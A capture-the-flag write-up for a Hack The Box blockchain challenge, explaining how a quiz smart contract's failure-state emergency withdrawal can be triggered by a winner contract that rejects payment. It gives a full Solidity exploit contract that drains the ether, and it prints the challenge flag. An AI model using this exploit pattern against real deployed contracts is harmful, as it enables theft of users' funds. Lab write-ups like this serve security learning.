A famous TV channel has decided to deploy Smart Contracts in a novel quiz game format. They want an audit of their code to make sure they are ready for the official launch. Will you be able to steal the ether stored in this contract?

Category: blockchain

Solver: davex, lmarschk

Flag: HTB{N0b0dY_WiLL_R3ceIv3_M0n3y}

Writeup

In this challenge, you receive the address of a deployed smart contract and its source code. The source of the contract is:

contract TVQuizTime {
    
    ...

    constructor() public payable {
        contractOwner = msg.sender;
        amountToWon = msg.value/2;
        isContractInFailure = false;
        creationTimestamp = now;
        isCompetitionOpen = true;
        competitionAnswer = 12;
    }

    function tryYourLuck(uint8 submittedAnswer) public {
        require(now < creationTimestamp + 15 minutes);
        participantAddresses.push(msg.sender);
        responseSubmitted[msg.sender] = submittedAnswer;
    }

    ...

    function payWinnersProcess() internal returns(bool) {
        uint256 i = nextTransaction;
        while(i < winnerAddresses.length) {
            if(!winnerAddresses[i].send(wonAmount[winnerAddresses[i]])) return false;
            i++;
        }
        nextTransaction = i;
        return true;
    }

    function terminateTheContest() public {
        require(isCompetitionOpen == true);
        checkWinners();
        fillInTheAccounts();
        if(payWinnersProcess()){
            isCompetitionOpen = false;
        } else {
            isContractInFailure = true;
        }
    }

    function inCaseOfEmergency() external {
        require(isContractInFailure == true);
        require(msg.sender.send(address(this).balance) == true);
    }
}

(We reduced the source to the only important parts)
As you can see the purpose of this contract is a “quiz” where anybody can submit an answer and if it is correct, the person is saved as a winner. The correct answer is hardcoded and is 12. Therefore anybody who submits the answer 12, in the first 15 minutes after the contract is deployed, is stored as a winner.

Furthermore, anybody can close the contests. When the contest is closed all winners will receive the same amount of eth which is in sum never more than half of the contract value. This means you cannot solve this challenge by submitting the correct answer.

The only other part of the contract where some eth is sent is in the inCaseOfEmergency function where the requesting person/contract receives all the eth of the contract. This function is only useful if the contest is in a failure state. This failure state can only be achieved when the payment of the winners fails.

Therefore our attack plan was clear:

  1. Register a winner
  2. Close the contest
  3. The winner rejects the payment
  4. We call the inCaseOfEmergency function
  5. Profit

The main question for us at this point:

How could we build a contract that reverts (all) incoming payments?

In fact, all smart contract which does not include a payable receive or fallback function rejects all incoming payments. To let controlled revert incoming payments we simply can work with a boolean which we require in the receive function. Therefore we build the following contract

pragma solidity ^0.6.4;

import "./challenge.sol"; // Get the TVQuizTime contract class

contract RobinHood {
    address private contractOwner;
    bool private canReceive;
    address private victim;
    
    constructor() public payable {
        contractOwner = msg.sender;
        canReceive = false;
        victim = our_target_address;
    }
    
    function init() public {
        TVQuizTime(victim).tryYourLuck(12);
        TVQuizTime(victim).terminateTheContest();
    }
    
    function profit() public {
        TVQuizTime(victim).inCaseOfEmergency();
    }
    
    function toggleReceiveStatus() public {
        canReceive = !canReceive;
    }
    
    receive() external payable{
        require(canReceive == true);
    }
}

We deployed the contract and we simply can run the following steps

  1. Register a winner & Close the contest (init())
  2. Allow now payments to robin (toggleReceiveStatus())
  3. Steal all ether (profit())

We can check that the target contract has no eth left and we get the flag:

flag